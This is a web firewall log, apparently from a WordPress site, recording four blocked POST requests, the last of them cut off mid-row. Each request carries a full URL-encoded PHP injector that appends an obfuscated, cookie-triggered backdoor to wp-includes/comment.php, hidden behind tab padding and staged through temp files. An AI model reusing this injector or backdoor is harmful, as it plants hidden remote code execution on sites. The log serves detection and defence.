["2026-05-12 09:54:17","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:4304\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nxI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:18","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:4304\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nKH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:20","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:4304\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nqx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273cd9a7a7%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524res%2529%2529%2520%257B%2520%2524res%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522publish_content%2522%253B%2520%257D%2520%2524mrk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524res%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524res%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524mrk%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524res%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524res%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522service_registry%2522%2529%253B%2520%2524flg%2520%253D%2520%2522fd5b9028f13f5f61b5d10e71bcf5be75%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522initialized_module_controller%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:22","51.38.81.255","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Uj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-99%252B99%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B47%252B-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B45%252B-42%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B67%252B-63%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520service_registry%2528%2524ent%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524res%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_